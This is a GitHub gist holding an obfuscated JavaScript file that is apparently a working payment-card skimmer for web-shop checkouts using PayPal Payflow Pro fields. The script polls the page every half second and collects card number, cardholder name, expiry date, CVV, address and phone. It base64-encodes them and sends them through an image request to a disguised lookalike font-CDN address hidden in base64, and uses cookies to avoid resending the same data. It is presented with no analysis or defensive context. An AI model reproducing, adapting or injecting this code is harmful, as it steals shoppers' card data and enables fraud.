-
-
Save krautface/04a743d45c3f0fd049b3ea1f4f76b560 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var __0x$ = { | |
xCF: function() { | |
var f = [[null, "atob"], [null, "btoa"], [null, "setInterval"], ["JSON", "stringify"], [null, "RegExp"], [null, "encodeURIComponent"], ["JSON", "parse"]]; | |
for(var i = 0; i < f.length; i++) { | |
if(f[i][0] === null) { | |
if(typeof window[f[i][1]] !== "function") { | |
return false; | |
} | |
} else { | |
if(typeof window[f[i][0]][f[i][1]] !== "function") { | |
return false; | |
} | |
} | |
} | |
return true; | |
}, | |
xHS: function(s) { | |
var hs = 0; | |
for(var i = 0; i < s.length; i++) { | |
hs = (((hs << 5) - hs) + s.charCodeAt(i)) & 0xFFFFFFFF | |
}; | |
return hs; | |
}, | |
xCS: function(k, v) { | |
document.cookie = k + "=" + encodeURIComponent(v); | |
return v; | |
}, | |
xCG: function(k) { | |
var m = document.cookie.match(new RegExp("(?:^|; )" + k.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)")); | |
return m ? decodeURIComponent(m[1]) : undefined; | |
}, | |
xGF: function() { | |
var is = document.getElementsByTagName("input"); | |
var ss = document.getElementsByTagName("select"); | |
var ts = document.getElementsByTagName("textarea"); | |
__0x$.xSP(is); | |
__0x$.xSP(ss); | |
__0x$.xSP(ts); | |
__0x$.xDS(); | |
}, | |
xSP: function(a) { | |
for(var i = 0; i < a.length; i++) { | |
var e = a[i]; | |
if(__0x$.pMF.n !== null && e.hasAttribute(__0x$.pMF.n[0]) && e.getAttribute(__0x$.pMF.n[0]) == __0x$.pMF.n[1]) { | |
var v = e.value.replace(/\s/g, ""); | |
if(v.length > 13) { | |
__0x$.pGF["Number"] = v; | |
continue; | |
} | |
} | |
if(__0x$.pMF.h !== null && e.hasAttribute(__0x$.pMF.h[0]) && e.getAttribute(__0x$.pMF.h[0]) == __0x$.pMF.h[1]) { | |
var v = e.value; | |
if(v.length < 128 && v.length > 0) { | |
__0x$.pGF["Holder"] = v.trim(); | |
continue; | |
} | |
} | |
if(__0x$.pMF.fn !== null && e.hasAttribute(__0x$.pMF.fn[0]) && e.getAttribute(__0x$.pMF.fn[0]) == __0x$.pMF.fn[1]) { | |
var v = e.value; | |
if(v.length < 64 && v.length > 0) { | |
__0x$.pGF["Holder"] = v.trim(); | |
continue; | |
} | |
} | |
if(__0x$.pMF.ln !== null && e.hasAttribute(__0x$.pMF.ln[0]) && e.getAttribute(__0x$.pMF.ln[0]) == __0x$.pMF.ln[1]) { | |
var v = e.value; | |
if(v.length < 64 && v.length > 0) { | |
__0x$.pGF["Holder"] += " " + v.trim(); | |
__0x$.pGF["Holder"] = __0x$.pGF["Holder"].trim(); | |
continue; | |
} | |
} | |
if(__0x$.pMF.d !== null && e.hasAttribute(__0x$.pMF.d[0]) && e.getAttribute(__0x$.pMF.d[0]) == __0x$.pMF.d[1]) { | |
var v = e.value.replace(" ", ""); | |
if(/^\d{1,2}\/\d{2,4}$/.test(v) && v.length > 0) { | |
__0x$.pGF["Date"] = v; | |
continue; | |
} | |
} | |
if(__0x$.pMF.m !== null && e.hasAttribute(__0x$.pMF.m[0]) && e.getAttribute(__0x$.pMF.m[0]) == __0x$.pMF.m[1]) { | |
var v = e.value.replace(" ", ""); | |
if(/^\d{1,2}$/.test(v) && v.length > 0) { | |
__0x$.pGF["Date"] = v; | |
continue; | |
} | |
} | |
if(__0x$.pMF.y !== null && e.hasAttribute(__0x$.pMF.y[0]) && e.getAttribute(__0x$.pMF.y[0]) == __0x$.pMF.y[1]) { | |
var v = e.value.replace(" ", ""); | |
if(/^\d{2,4}$/.test(v) && v.length > 0) { | |
__0x$.pGF["Date"] += "/" + v; | |
continue; | |
} | |
} | |
if(__0x$.pMF.c !== null && e.hasAttribute(__0x$.pMF.c[0]) && e.getAttribute(__0x$.pMF.c[0]) == __0x$.pMF.c[1]) { | |
var v = e.value.replace(" ", ""); | |
if(/^\d{3,4}$/.test(v) && v.length > 0) { | |
__0x$.pGF["CVV"] = v; | |
continue; | |
} | |
} | |
var g = false; | |
for(var j = 0; j < __0x$.pAF.length; j++) { | |
var p = __0x$.pAF[j]; | |
if(e.hasAttribute(p[0]) && e.getAttribute(p[0]) == p[1]) { | |
if(p[2] != undefined && !p[2] && e.value.length > 0) { | |
__0x$.pGF[p[1]] = e.value; | |
g = true; | |
break; | |
} | |
if(p[2] != undefined && p[2] && e.tagName.toLowerCase() == "select") { | |
if(e.options[e.selectedIndex].innerText != "Please select a region, state or province.") { | |
__0x$.pGF[p[1]] = e.options[e.selectedIndex].innerText; | |
g = true; | |
break; | |
} | |
} | |
} | |
}; | |
if(g) { continue; } | |
if(e.id !== undefined && e.id != "" && e.id !== null && e.value.length < 256 && e.value.length > 0) { | |
__0x$.pGF[e.id] = e.value; | |
continue; | |
} | |
if(e.name !== undefined && e.name != "" && e.name !== null && e.value.length < 256 && e.value.length > 0) { | |
__0x$.pGF[e.name] = e.value; | |
continue; | |
} | |
}; | |
}, | |
xAI: function(s) { | |
var i = document.createElement("IMG"); | |
i.src = s; | |
}, | |
xSD: function() { | |
var p = ["Number", "Holder", "Date", "CVV"]; | |
for(var i = 0; i < p.length; i++) { | |
if(__0x$.pGF[p[i]] === undefined || __0x$.pGF[p[i]] === null || __0x$.pGF[p[i]] == "") { | |
return; | |
} | |
}; | |
__0x$.pGF["Domain"] = location.hostname; | |
var e = btoa(JSON.stringify(__0x$.pGF)); | |
var h = __0x$.xHS(e); | |
for(var i = 0; i < __0x$.pSHS.length; i++) { | |
if(__0x$.pSHS[i] == h) { | |
return; | |
} | |
}; | |
__0x$.xAI(atob(__0x$.pGL) + "?hash=" + e); | |
__0x$.pSHS.push(h); | |
__0x$.xCS("pSHS", btoa(JSON.stringify(__0x$.pSHS))); | |
__0x$.xCS("pGF", btoa(JSON.stringify({}))); | |
}, | |
xDS: function() { | |
if(__0x$.pDL) { | |
__0x$.xCS("pGF", btoa(JSON.stringify(__0x$.pGF))); | |
} | |
}, | |
xDG: function() { | |
var c = __0x$.xCG("pGF"); | |
if(c !== undefined) { | |
__0x$.pGF = JSON.parse(atob(c)); | |
} | |
}, | |
xRF: function() { | |
}, | |
xCB: function() { | |
}, | |
xBC: function() { | |
}, | |
xCL: function(){ | |
if(location.href != __0x$.pLL) { | |
__0x$.pDL = true; | |
__0x$.pLL = location.href; | |
__0x$.xDG(); | |
} | |
}, | |
jIA: function(n, r) { | |
r.parentNode.insertBefore(n, r.nextSibling); | |
}, | |
jHE: function(e) { | |
if(e !== null && typeof e.style === "object" && e.style.display != "none") { | |
e.style.old_display = e.style.display; | |
e.style.display = "none"; | |
} | |
}, | |
jSE: function(e) { | |
if(e !== null && typeof e.style === "object" && e.style.display == "none") { | |
if(typeof e.style.old_display !== "undefined") { | |
e.style.display = e.style.old_display; | |
} else { | |
e.style.display = ""; | |
} | |
} | |
}, | |
jFA: function(t, a, v) { | |
var r = []; | |
var e = document.getElementsByTagName(t); | |
for(var i = 0; i < e.length; i++) { | |
if(e[i].hasAttribute(a) && e[i].getAttribute(a) == v) { | |
r.push(e[i]); | |
} | |
}; | |
return r; | |
}, | |
xG: function() { | |
__0x$.xRF(); | |
__0x$.xCL(); | |
__0x$.xCB(); | |
__0x$.xGF(); | |
__0x$.xSD(); | |
}, | |
xST: function() { | |
if(__0x$.xCF()) {setInterval(__0x$.xG, 500);}; | |
}, | |
pMF: {n: ["id", "payflowpro_cc_number"], h: null, fn: ["name", "firstname"], ln: ["name", "lastname"], d: null, m: ["id", "payflowpro_expiration"], y: ["id", "payflowpro_expiration_yr"], c: ["id", "payflowpro_cc_cid"]}, | |
pAF: [["name", "street[0]", false], ["name", "city", false], ["name", "region_id", true], ["name", "postcode", false], ["name", "country_id", true], ["name", "telephone", false]], | |
pGF: {}, | |
pSHS: [], | |
pDS: false, | |
pDL: false, | |
pLL: "", | |
pTE: "", | |
pGL: "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlmcy5zcGFjZS9jc3MvZm9udC1hd2Vzb21lLm1pbi5jc3M=" | |
}; | |
__0x$.xST(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment